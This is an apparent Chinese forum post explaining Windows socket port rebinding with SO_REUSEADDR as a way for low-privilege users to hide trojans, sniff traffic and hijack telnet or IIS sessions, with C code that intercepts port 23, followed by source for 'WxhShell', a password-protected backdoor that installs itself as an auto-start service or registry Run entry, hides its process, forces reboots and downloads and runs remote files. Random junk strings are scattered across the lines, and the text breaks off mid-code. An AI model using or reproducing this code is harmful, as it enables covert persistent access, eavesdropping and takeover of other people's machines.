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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ptQCqQ1_d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9P1!<6mN\  
$V870 <  
  saddr.sin_family = AF_INET; mYx6JU*`  
mI> =S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9Zj9e  
-|DBO0q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); he! Uq%e  
}PUY~ u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u>\u}c  
*<ILSZ  
  这意味着什么?意味着可以进行如下的攻击: %#7 ]  
ThiM6Hb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RW`+F|UbE  
Lk lD^AJA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wiP )"g.t  
&gdhq~4#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fB= j51Lw  
&{e:6t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?s5/  
K+<F, P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !g[UFw  
Mi<l;ZP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *v#Z/RrrA  
8&wN9tPYZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?_`X8Ok  
P`L, eYc  
  #include bLSUF`-z  
  #include Gp0yRT.  
  #include Ex+E66bE  
  #include    }B`T%(11=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >@0U B@  
  int main() [_-[S  
  { O`f[9^fN  
  WORD wVersionRequested; D[0g0>K  
  DWORD ret; 4 3G2{  
  WSADATA wsaData; FT6~\9m(  
  BOOL val; F;8Uvj  
  SOCKADDR_IN saddr; 'M35L30  
  SOCKADDR_IN scaddr; M*Ri1   
  int err; m](q,65 2  
  SOCKET s; .cK<jF@'  
  SOCKET sc; Ay|K>8z   
  int caddsize; WelB"L  
  HANDLE mt; !bBx'  
  DWORD tid;   GhR%fxe  
  wVersionRequested = MAKEWORD( 2, 2 ); TJ>$ ~9&Sy  
  err = WSAStartup( wVersionRequested, &wsaData ); "?>hQM1R  
  if ( err != 0 ) { ^wD@)Dz  
  printf("error!WSAStartup failed!\n"); @ r/f  
  return -1; #{g6'9PMz  
  } ^=arKp,?5  
  saddr.sin_family = AF_INET; @n;$Edza/  
   jJ3dZ<#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u}|+p+  
Gj&`+!\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZjveXrx  
  saddr.sin_port = htons(23); q|QkJr <  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H{g&yo  
  { jg3T1ROL  
  printf("error!socket failed!\n"); J0 UF(  
  return -1; >{eGSSG0  
  } I(va;hG<o  
  val = TRUE; ]5+<Rqdbg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A Eo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &d=ZCaP  
  { vt(cC) )  
  printf("error!setsockopt failed!\n"); Id=g!L|  
  return -1; -J^t#R^$`  
  } ZDr&Alp)o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #T08H,W/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .-}F~FES  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S3sxK:  
:|N(:W>=$Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >?(}F':  
  { ]L_h3Xz\X  
  ret=GetLastError(); %<h+_(\h  
  printf("error!bind failed!\n"); ?dY|,_O  
  return -1; hIFfvUl  
  } x%%OgO +>  
  listen(s,2); 6MmkEU z  
  while(1) b 2XUZ5  
  { q]wP^;\Jl  
  caddsize = sizeof(scaddr); H",q-.!  
  //接受连接请求 DwI X\9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b|nh4g  
  if(sc!=INVALID_SOCKET) MXrh[QCU)  
  { *V?p&/>MT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fu{.Ir  
  if(mt==NULL) UJk/Lxv  
  { 6Jd.Eg ~A7  
  printf("Thread Creat Failed!\n"); ,m1F<Pdts  
  break; yc.9CTxx  
  } O_^t u?x  
  } :7)lgiM2  
  CloseHandle(mt); `-[|@QNFz  
  } X*e<g=  
  closesocket(s); 52q<|MW%  
  WSACleanup(); ;}4^WzmK^(  
  return 0; Qb?e A  
  }   TyN]Pa  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1Y{pf]5Wx  
  { Q$8K-5U%  
  SOCKET ss = (SOCKET)lpParam; OpFm:j3  
  SOCKET sc; h4tAaPcS+  
  unsigned char buf[4096]; FwqaWEk  
  SOCKADDR_IN saddr; !Hx[ `3  
  long num; ,O`~ D~$  
  DWORD val; r"&VG2c0K  
  DWORD ret; 8 EUc 6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 d#-'DO{k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2dnyIgi  
  saddr.sin_family = AF_INET; ZHimS7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ##BfI`FJ  
  saddr.sin_port = htons(23); \&b1%Asyz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tWaM+W  
  { FS7@6I2Ts  
  printf("error!socket failed!\n"); @k3xk1*  
  return -1; Y|~+bKa  
  } `]j:''K  
  val = 100; `XrF ,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2JL\1=k;  
  { n 'E:uXv"  
  ret = GetLastError(); fzjAP7 y  
  return -1; 0YO/G1O&  
  } Eh&-b6:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v`Yj)  
  { SYwB #|  
  ret = GetLastError(); PDkg@#&y,k  
  return -1; ,dXJCX8so  
  } Y>Fh<"A|$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1fqJtP6  
  { &*# Obv  
  printf("error!socket connect failed!\n"); b E6bx6=u  
  closesocket(sc); S(PU"}vZy  
  closesocket(ss); !![HR6"Q  
  return -1; HUalD3 \  
  } OQiyAyX  
  while(1) ;S+]Z!5LT  
  { 7& 'p"hF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 hj,yl&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Y(B3M=j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ndHUQ$/(  
  num = recv(ss,buf,4096,0); #83pitcc  
  if(num>0) ;VS$xnZ  
  send(sc,buf,num,0); hw2Sb,bY  
  else if(num==0) *9tRh Rc  
  break; ~_a$5Y  
  num = recv(sc,buf,4096,0); `Ha<t.v(  
  if(num>0) ne 8rF.D  
  send(ss,buf,num,0); #Q@~ TW  
  else if(num==0) )4^Sz&\  
  break; #oJ%i+V  
  } 97vQM  
  closesocket(ss); Ru@ { b`  
  closesocket(sc); B{!*OC{l  
  return 0 ; *K;s*-|U  
  } -+y3~^EYm,  
rw.DKM'  
sFw;P`  
========================================================== t6Nkv;)>@  
''H;/&nDX  
下边附上一个代码,,WXhSHELL )6{,y{5!  
Axw+zO  
========================================================== FD/=uIXH2  
Q!{,^Qb  
#include "stdafx.h" PO*0jO;%  
,"5][RsOn  
#include <stdio.h> /YHnt-}v,  
#include <string.h> uZa)N-=b2  
#include <windows.h> xE- _Fv9  
#include <winsock2.h> (BGflb  
#include <winsvc.h> LerRrN}~  
#include <urlmon.h> ZG( Pz9{K  
BG/RNem  
#pragma comment (lib, "Ws2_32.lib") ~p x2kHZ  
#pragma comment (lib, "urlmon.lib") K"8!  
bMGXx>x  
#define MAX_USER   100 // 最大客户端连接数 xM$AhH  
#define BUF_SOCK   200 // sock buffer gwDVWhq  
#define KEY_BUFF   255 // 输入 buffer IQQ>0^Q~  
")9jt^  
#define REBOOT     0   // 重启 MB+a?u0\  
#define SHUTDOWN   1   // 关机 :kvQ3E0  
lJt?0;gn  
#define DEF_PORT   5000 // 监听端口 f@0Km^aUc  
^1bM=9]F0  
#define REG_LEN     16   // 注册表键长度 B z? (?fyd  
#define SVC_LEN     80   // NT服务名长度 C?g<P0h  
'#>(JN5\  
// 从dll定义API /L=Y8tDt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WNSEc%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mXI'=Vo!S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cUTG! P\R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dst!VO: M  
bJ]blnH  
// wxhshell配置信息 zT")!Df>'  
struct WSCFG { q^6l`JJ  
  int ws_port;         // 监听端口 =g?k`v p  
  char ws_passstr[REG_LEN]; // 口令  tk+4noA  
  int ws_autoins;       // 安装标记, 1=yes 0=no M:oZk&cs  
  char ws_regname[REG_LEN]; // 注册表键名 ~)*uJ wW/a  
  char ws_svcname[REG_LEN]; // 服务名 vw :&c.zd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tr, zV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zGa V^X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aVp-Ps|r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =nv/ r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .@psW0T%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o@ @|4 F  
T }Wse{  
}; /]2I%Q  
fa!8+kfi  
// default Wxhshell configuration &3:<WU:U  
struct WSCFG wscfg={DEF_PORT, p MR4]G  
    "xuhuanlingzhe", lqvP Dz  
    1, L&&AK`Ur3l  
    "Wxhshell", ,,G'Zur7  
    "Wxhshell", );{76  
            "WxhShell Service", Z61L;E  
    "Wrsky Windows CmdShell Service", szp.\CMz  
    "Please Input Your Password: ", t?Q  
  1, 9]:F!d/  
  "http://www.wrsky.com/wxhshell.exe", <4TF ]5  
  "Wxhshell.exe" T$Z}1e]  
    }; o0TB>DX$`  
rLA^ &P:  
// 消息定义模块 Fi# 9L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;f /2u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s1p<F,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1^2]~R9,9  
char *msg_ws_ext="\n\rExit."; -`5L;cxwk4  
char *msg_ws_end="\n\rQuit."; VP*B<u  
char *msg_ws_boot="\n\rReboot..."; I>lblI$7  
char *msg_ws_poff="\n\rShutdown..."; !\\OMAf7  
char *msg_ws_down="\n\rSave to "; A @e!~  
wpt5'|I  
char *msg_ws_err="\n\rErr!";  p]jG ,S  
char *msg_ws_ok="\n\rOK!"; 7Ac.^rv5  
/!U(/  
char ExeFile[MAX_PATH]; ps*iE=D  
int nUser = 0; (O/W`qo  
HANDLE handles[MAX_USER]; rdH^"(  
int OsIsNt; N!<X% Ym  
~J >Jd  
SERVICE_STATUS       serviceStatus; HBA|NV3.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .Dy2O*`  
!8tqYY?>@\  
// 函数声明 .e\PCf9v  
int Install(void); f7Gs1{  
int Uninstall(void); G6qFAepwi  
int DownloadFile(char *sURL, SOCKET wsh); B[5<&  
int Boot(int flag); df/7u}>9  
void HideProc(void); :0p$r pJP  
int GetOsVer(void); a..LbQQ  
int Wxhshell(SOCKET wsl); qR kPl!5  
void TalkWithClient(void *cs); 10_>EY`  
int CmdShell(SOCKET sock); [@NW  
int StartFromService(void); D8`SI2 1P  
int StartWxhshell(LPSTR lpCmdLine); 0CI\Yd=  
10tTV3`IM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [_*?~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #;h> x  
M$} AJS%8  
// 数据结构和表定义 z}Vg4\x&  
SERVICE_TABLE_ENTRY DispatchTable[] = /1eeNbd  
{ lInf,Q7W  
{wscfg.ws_svcname, NTServiceMain}, T%E/k# )q  
{NULL, NULL} `2y?(BJp  
}; E`|vu*l7  
28j/K=0(  
// 自我安装 34L1Gxf  
int Install(void) }4?z<.V  
{ 8&CQx*  
  char svExeFile[MAX_PATH]; w,t !<i  
  HKEY key; p9&gKIO_m  
  strcpy(svExeFile,ExeFile); biRkq c;  
[{zfI`6  
// 如果是win9x系统,修改注册表设为自启动 #!P>." .  
if(!OsIsNt) { W *2P+H%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Fkp6`Q$x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \/-4jF:  
  RegCloseKey(key); 2rHQ7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H!|g?"C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xm<|m#  
  RegCloseKey(key); }taG/kE62  
  return 0; t(}g;O-  
    } V?~!Dp  
  } N(P2Lo{JF  
} At&kW3(  
else { cI-@nV  
gP>W* ]0r1  
// 如果是NT以上系统,安装为系统服务 hfg ^z5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n*9nzx#q  
if (schSCManager!=0) H%0WD_  
{ q``/7  
  SC_HANDLE schService = CreateService Hx n#vAc  
  ( ,o}CBB! k  
  schSCManager, dV /Es  
  wscfg.ws_svcname, 2SlI5+u  
  wscfg.ws_svcdisp, /x\~ 5cC  
  SERVICE_ALL_ACCESS, <`NtTG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 55=YM'5]  
  SERVICE_AUTO_START, U|8?$/*\  
  SERVICE_ERROR_NORMAL, g!Ui|]BI9  
  svExeFile, \y+^r|IL  
  NULL, .vd*~U"  
  NULL, ^FZ9q  
  NULL, V 7D<'!  
  NULL, 6q,CEm  
  NULL O\h%ZLjfO  
  ); g'2}Y5m$`  
  if (schService!=0) B7sBO6Z$J  
  { a6?t?: ~|  
  CloseServiceHandle(schService); PGuPw'2;[  
  CloseServiceHandle(schSCManager); 6XnUs1O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ""IPaNHQ  
  strcat(svExeFile,wscfg.ws_svcname); 3N4kW[J2i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9%riB/vkrF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E:[!)UG|y  
  RegCloseKey(key); Ox@$ }  
  return 0; z>b^Ui0  
    }  O`Htdnu  
  } U*XdFH}vV  
  CloseServiceHandle(schSCManager); B]  Koi1B  
} sXYXBX[  
} cQ3p|a `  
"![KQ  
return 1; <SdOb#2  
} }%<cF i &  
ry+|gCZ  
// 自我卸载 c?6(mU\x  
int Uninstall(void) e0IGx]5i  
{ q(BRJ(  
  HKEY key; Iz&d S?p_  
Z1p%6f`  
if(!OsIsNt) { Q+'fTmT[,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G]dHYxG  
  RegDeleteValue(key,wscfg.ws_regname); 21] K7  
  RegCloseKey(key); C;ME"4,(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JB!*{{  
  RegDeleteValue(key,wscfg.ws_regname); "$q"Kilj%  
  RegCloseKey(key); 4-9cp=\PE  
  return 0; ;zSV~G6-  
  } .ts XQf  
} 3%u: c]-wF  
} I/gfsyfA  
else { $?9u;+jIR  
w1 A-_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -$kbj*b##  
if (schSCManager!=0) jU}  
{ |1Nz8Vr.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $U2Jq@G*  
  if (schService!=0) #nKGU"$+  
  { aw7pr464  
  if(DeleteService(schService)!=0) { i,L"%q)C  
  CloseServiceHandle(schService); kn WI7  
  CloseServiceHandle(schSCManager); \\ZhM  
  return 0; v4\ m9Pu4  
  } <!X]$kvG  
  CloseServiceHandle(schService); <4^y7]] F  
  } 9~ifST \  
  CloseServiceHandle(schSCManager); Q?'Ax"$D  
} Eb8z`@p  
} j92+kq>Xd  
(unJwh{7Q  
return 1; $:?=A5ttuo  
} o/!a7>xO4  
l_fERp#y  
// 从指定url下载文件 fi6_yFl  
int DownloadFile(char *sURL, SOCKET wsh) /|<0,ozoJ  
{ |~=4Z rcCP  
  HRESULT hr; 3>z+3!I z  
char seps[]= "/"; U"Z %_[*  
char *token; l_(4CimOZ  
char *file; ]O~/k~f  
char myURL[MAX_PATH]; h5))D!  
char myFILE[MAX_PATH]; ;kVo? W]  
aIN?|Ch  
strcpy(myURL,sURL); ^Ux*"\/Es  
  token=strtok(myURL,seps); WW~QK2o-@  
  while(token!=NULL) a0  w  
  { `UkPXCC\1  
    file=token; <Q.-WV]Z  
  token=strtok(NULL,seps); 2f 9%HX(5  
  } ^ X<ytOd5  
=}W)%Hldr.  
GetCurrentDirectory(MAX_PATH,myFILE); dr4m}v.  
strcat(myFILE, "\\"); y(Q.uYz*  
strcat(myFILE, file); cp+eh  
  send(wsh,myFILE,strlen(myFILE),0); zx5t gZd,N  
send(wsh,"...",3,0); McU]U 9:z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y F W0  
  if(hr==S_OK) Zg!E}B:z  
return 0;  u8[jD^  
else vu)V:y  
return 1; OH~I+=}.  
!q*]_1  
} R<1[hH9"o  
71Mk!E=1  
// 系统电源模块 No)@#^  
int Boot(int flag) ]b@:?DX8  
{ z^9df(  
  HANDLE hToken; p"J\+R  
  TOKEN_PRIVILEGES tkp; 4_?*@L1  
HLDg_ On8  
  if(OsIsNt) { u|E9X[%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n15lX,FI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C$EvcF% 1  
    tkp.PrivilegeCount = 1; -"3<Ll  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )Y,>cg:z~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KRP)y{~o  
if(flag==REBOOT) { 3`m n#RM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xBMhk9b^0  
  return 0; WqRg/  
} }!RFX)T  
else { 1:lhZFZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o@G <[X|ke  
  return 0; Z(-@8=0  
} |Xl,~-.  
  } vc(6lN9>  
  else { -|xyj2M  
if(flag==REBOOT) { p)=Fi}#D\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kVe_2oQ_>  
  return 0; mEe JK3D[  
} 9l :Bum)9  
else { ?I.<mdhN#t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I- X|-  
  return 0; O486:tF  
} D +vHl}  
} CzZm C]5  
X6]eQ PN2  
return 1; r$~ f[cA  
} `P<m`*  
'\X<+Sm'  
// win9x进程隐藏模块 C.$`HGv  
void HideProc(void) u;*Wc9>sU  
{ Pz1[ b$%  
<t0o{}^P*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P=V=\T<4_  
  if ( hKernel != NULL ) X} v]iX  
  { [/ E_v gZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9RoN,e8!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EV 8}C=  
    FreeLibrary(hKernel); D'Gmua]I  
  } tc'` 4O]c8  
8j} CP  
return; 6 2r%q^r`i  
} S 5Q$dAL  
b;O|-2AR  
// 获取操作系统版本 wV;qc3  
int GetOsVer(void) =%YU~  
{ |8b*BnS  
  OSVERSIONINFO winfo; X|F([,o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8ctUK|  
  GetVersionEx(&winfo); F$FCfP7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b:nHcxDU<  
  return 1; ;w,g|=RQ  
  else =M'y& iz-  
  return 0; }Z ws e%;  
} NGlX%j4j  
AopC xaJ`  
// 客户端句柄模块 <[2]p\rj  
int Wxhshell(SOCKET wsl) 8#w}wGV*  
{ 7  Znr2I  
  SOCKET wsh; $*bd})y)I  
  struct sockaddr_in client; |:s 4#3  
  DWORD myID; "|S \J5-%  
MmBM\Dnv  
  while(nUser<MAX_USER) cZN+D D  
{ *ws!8-)fH  
  int nSize=sizeof(client); YB h :  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I#D{6%~  
  if(wsh==INVALID_SOCKET) return 1; qHfs*MBJ%  
@O<kjR<b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qTnfiYG}  
if(handles[nUser]==0) MX 2UYZ&  
  closesocket(wsh); [EDw0e  
else 0sq1SHI{  
  nUser++; '!64_OMj'  
  } ~l%Dcp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )FM/^  
N0h"EV[  
  return 0; >+=)Q,|R  
} A\Q]o#U  
BlS0I%SN  
// 关闭 socket &3mseU  
void CloseIt(SOCKET wsh) `Y-uNJ'.N  
{ d{@X-4k :  
closesocket(wsh); !JjB,1  
nUser--; z]> 0A  
ExitThread(0); y@J]busU  
} 1sZwW P  
K3&v6 #]  
// 客户端请求句柄 MI|DOp  
void TalkWithClient(void *cs) Re('7m h~  
{ *TA${$K  
G8@({EY  
  SOCKET wsh=(SOCKET)cs; ZGa>^k[:  
  char pwd[SVC_LEN]; JY#IeNL  
  char cmd[KEY_BUFF]; mCe,(/>l+  
char chr[1]; &"fMiK3  
int i,j; A"k6n\!n;  
q[Hx y  
  while (nUser < MAX_USER) { g>x2[//pk  
 "/6(  
if(wscfg.ws_passstr) { Qv,|*bf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {IJV(%E   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <0vQHND,3  
  //ZeroMemory(pwd,KEY_BUFF); dC_L~ }=  
      i=0; x`w 4LF  
  while(i<SVC_LEN) { C<2vuZD  
 pzezN  
  // 设置超时 ePK^v_vBD  
  fd_set FdRead; /s(/6~D|  
  struct timeval TimeOut; uh%%MhTjv  
  FD_ZERO(&FdRead); xA#B1qbw  
  FD_SET(wsh,&FdRead); C',D"  
  TimeOut.tv_sec=8; s<|.vVi"  
  TimeOut.tv_usec=0; e//28=OH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 07Yh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /}r%DND'  
xZjD(e'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U^?/nRZ  
  pwd=chr[0]; 3'Q H\t5  
  if(chr[0]==0xd || chr[0]==0xa) { *j2P#et  
  pwd=0; ~!&WK,k6  
  break; z)=D&\HX  
  } U2=5Nt5  
  i++; K0yTHX?(.  
    } y'xB? >|  
-7*,}xV  
  // 如果是非法用户,关闭 socket g4&zBn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kWc%u-_  
} EQ8jxr<p  
<w(UDZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z9U<Z^4z+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AtYe\_9$C  
w#U3h]>,  
while(1) { XgP7 !  
E:T<mI?d  
  ZeroMemory(cmd,KEY_BUFF); 4Z"D F)+}  
9 }iEEI  
      // 自动支持客户端 telnet标准   <33[qt~  
  j=0; :h=];^/E  
  while(j<KEY_BUFF) { 1Z6<W~,1OM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #+|{l*>  
  cmd[j]=chr[0]; `QXO+'j4  
  if(chr[0]==0xa || chr[0]==0xd) { )t9<cJ=  
  cmd[j]=0; XU5/7 .  
  break; <s2IC_f<+  
  } di>"\On-  
  j++; f{FW7T}O2  
    } )7Gm<r  
SN(:\|f 2  
  // 下载文件 @bOhnd#W  
  if(strstr(cmd,"http://")) { HsGXb\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @X?DHLM  
  if(DownloadFile(cmd,wsh)) m"<0sqD;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WW\u}z.QJ  
  else SGre[+m~m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *?Nrx=O*  
  } *r@7:a5  
  else { QxH%4 )?  
fPZt*A__  
    switch(cmd[0]) { )."_i64  
  %/"I.\%d  
  // 帮助 Urj8v2k  
  case '?': { %%)"W n#`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t,#7F$t  
    break; Zy|B~.@<j  
  } N9tH0  
  // 安装 KV9'ew+M  
  case 'i': { F&%@p&  
    if(Install()) SE.r 'J0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3p6QJuSB  
    else <k!M+}a 9V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 -72 8  
    break; {^=T&aCYdS  
    } px8988X  
  // 卸载 r&oR|-2hRk  
  case 'r': { `ltc)$  
    if(Uninstall()) :7UC=GKQk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z/!LC;(  
    else 7/+I"~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :+NZW9_  
    break; @&?E3?5ll  
    } 6!zBLIYFI  
  // 显示 wxhshell 所在路径 vT~ey  
  case 'p': { *;t\!XDgp  
    char svExeFile[MAX_PATH]; J|,Uu^7`  
    strcpy(svExeFile,"\n\r"); \~ m\pf?  
      strcat(svExeFile,ExeFile); N(uHy@  
        send(wsh,svExeFile,strlen(svExeFile),0); q\s"B.(G"  
    break; #(swVo:+E  
    } X-LCIT|1  
  // 重启 'yxN1JF  
  case 'b': { $`j%z@[g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _D~l2M  
    if(Boot(REBOOT)) } I>68dS[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9d&@;&al  
    else { )U12Rshl  
    closesocket(wsh); 2[|52+zhc  
    ExitThread(0); R!i\-C1 S  
    } )X |[ jP  
    break; RO+ jVY~H-  
    } !LI6_Oq  
  // 关机 8tfM,.]_i  
  case 'd': { r1<dZtb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pwvzs`[;  
